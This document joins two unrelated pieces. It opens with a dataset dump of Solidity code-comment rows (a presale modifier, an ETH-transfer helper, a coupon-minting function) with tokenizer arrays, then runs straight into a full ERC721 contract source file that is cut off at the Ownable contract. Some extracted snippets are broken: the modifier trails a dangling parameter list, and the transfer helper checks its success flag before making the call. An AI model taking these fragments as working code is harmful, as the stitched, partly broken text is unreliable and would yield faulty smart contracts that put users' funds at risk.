file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
./full_match/97/0x2F8Bbd02b7aE28e690fab69FeaC7411225BDAe82/sources/contracts/AIO/Presale.sol | antibot: START_TIME is not inclusive | modifier checkSale() {
require(
block.timestamp > START_TIME && block.timestamp <= END_TIME,
"Presale: Presale is not active"
);
_;
}
address _token,
uint256 _supply,
uint256 _startTimestamp,
uint256 _presalePeriod,
uint256 _price,
uint256 _initialVestingShare,
uint256 _monthlyVestingShare,
uint256 _refShare
| 5,021,243 | [
1,
970,
495,
352,
30,
10485,
67,
4684,
353,
486,
13562,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
866,
30746,
1435,
288,
203,
3639,
2583,
12,
203,
5411,
1203,
18,
5508,
405,
10485,
67,
4684,
597,
1203,
18,
5508,
1648,
7273,
67,
4684,
16,
203,
5411,
315,
12236,
5349,
30,
18346,
5349,
353,
486,
2695,
6,
203,
3639,
11272,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
3639,
1758,
389,
2316,
16,
203,
3639,
2254,
5034,
389,
2859,
1283,
16,
203,
3639,
2254,
5034,
389,
1937,
4921,
16,
203,
3639,
2254,
5034,
389,
12202,
5349,
5027,
16,
203,
3639,
2254,
5034,
389,
8694,
16,
203,
3639,
2254,
5034,
389,
6769,
58,
10100,
9535,
16,
203,
3639,
2254,
5034,
389,
7496,
715,
58,
10100,
9535,
16,
203,
3639,
2254,
5034,
389,
1734,
9535,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0xCbd380E055A76940fa46bD3Ec85524EF09dE647D/sources/lexlocker.sol | @notice Provides 'safe' ETH transfer. @param recipient Account to send ETH to. @param value ETH amount to send. | function safeTransferETH(address recipient, uint256 value) private {
require(success, "ETH_TRANSFER_FAILED");
(bool success, ) = recipient.call{value: value}("");
}
| 721,015 | [
1,
17727,
296,
4626,
11,
512,
2455,
7412,
18,
225,
8027,
6590,
358,
1366,
512,
2455,
358,
18,
225,
460,
512,
2455,
3844,
358,
1366,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4183,
5912,
1584,
44,
12,
2867,
8027,
16,
2254,
5034,
460,
13,
3238,
288,
203,
3639,
2583,
12,
4768,
16,
315,
1584,
44,
67,
16596,
6553,
67,
11965,
8863,
203,
3639,
261,
6430,
2216,
16,
262,
273,
8027,
18,
1991,
95,
1132,
30,
460,
97,
2932,
8863,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.8.0 <0.9.0;
//SPDX-License-Identifier: MIT
import "hardhat/console.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
import "./CouponHelper.sol";
/// TODO: Check if couponType is valid
/// @title Contract to create new Coupons as NFTs.
/// @author Surya Vamsee
contract CreateCoupon is CouponHelper {
/// @dev funcion to create a Single coupon for generators
function createCoupon(
string memory couponDesignURL,
address sink,
uint64 couponValidityTime,
uint8 couponType,
uint8 amountRedeemable
) public isCouponTypeValid(couponType) isSink(sink) isGenerator(msg.sender) {
//Create a new coupon and push it to the coupons array
uint256 _couponId = coupons.length;
coupons.push(
Coupon(
couponDesignURL,
0x0000000000000000000000000000000000000000,
msg.sender,
sink,
_couponId,
couponValidityTime,
// Update this value later to something relevant
uint64(block.timestamp),
couponType,
amountRedeemable,
false,
false
)
);
//emit event once the coupon has been created
emit Mint(msg.sender, sink, _couponId);
}
}
| @dev funcion to create a Single coupon for generatorsCreate a new coupon and push it to the coupons array Update this value later to something relevantemit event once the coupon has been created | ) public isCouponTypeValid(couponType) isSink(sink) isGenerator(msg.sender) {
uint256 _couponId = coupons.length;
coupons.push(
Coupon(
couponDesignURL,
0x0000000000000000000000000000000000000000,
msg.sender,
sink,
_couponId,
couponValidityTime,
uint64(block.timestamp),
couponType,
amountRedeemable,
false,
false
)
);
emit Mint(msg.sender, sink, _couponId);
}
| 5,470,886 | [
1,
644,
285,
358,
752,
279,
10326,
16174,
364,
13327,
1684,
279,
394,
16174,
471,
1817,
518,
358,
326,
1825,
30324,
526,
2315,
333,
460,
5137,
358,
5943,
6707,
90,
304,
874,
305,
871,
3647,
326,
16174,
711,
2118,
2522,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
262,
1071,
353,
22744,
559,
1556,
12,
24090,
559,
13,
353,
11326,
12,
17074,
13,
353,
3908,
12,
3576,
18,
15330,
13,
288,
203,
3639,
2254,
5034,
389,
24090,
548,
273,
1825,
30324,
18,
2469,
31,
203,
3639,
1825,
30324,
18,
6206,
12,
203,
5411,
7695,
9899,
12,
203,
7734,
16174,
15478,
1785,
16,
203,
7734,
374,
92,
12648,
12648,
12648,
12648,
12648,
16,
203,
7734,
1234,
18,
15330,
16,
203,
7734,
9049,
16,
203,
7734,
389,
24090,
548,
16,
203,
7734,
16174,
19678,
950,
16,
203,
7734,
2254,
1105,
12,
2629,
18,
5508,
3631,
203,
7734,
16174,
559,
16,
203,
7734,
3844,
426,
24903,
429,
16,
203,
7734,
629,
16,
203,
7734,
629,
203,
5411,
262,
203,
3639,
11272,
203,
3639,
3626,
490,
474,
12,
3576,
18,
15330,
16,
9049,
16,
389,
24090,
548,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
pragma solidity ^0.5.8;
// File: contracts/libraries/Strings.sol
library Strings {
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint i) internal pure returns (string memory) {
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(uint8(48 + i % 10));
i /= 10;
}
return string(bstr);
}
}
// File: contracts/libraries/Address.sol
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: contracts/libraries/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts/libraries/Counters.sol
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the SafeMath
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// File: contracts/standards/IERC165.sol
/**
* @title IERC165
* @dev https://eips.ethereum.org/EIPS/eip-165
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/standards/ERC165.sol
/**
* @title ERC165
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implements ERC165 itself.
*/
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev Implement supportsInterface(bytes4) using a lookup table.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Internal method for registering an interface.
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: contracts/standards/IERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
// File: contracts/standards/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
// File: contracts/standards/ERC721.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address.
* The call is not executed if the target address is not a contract.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
// File: contracts/standards/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
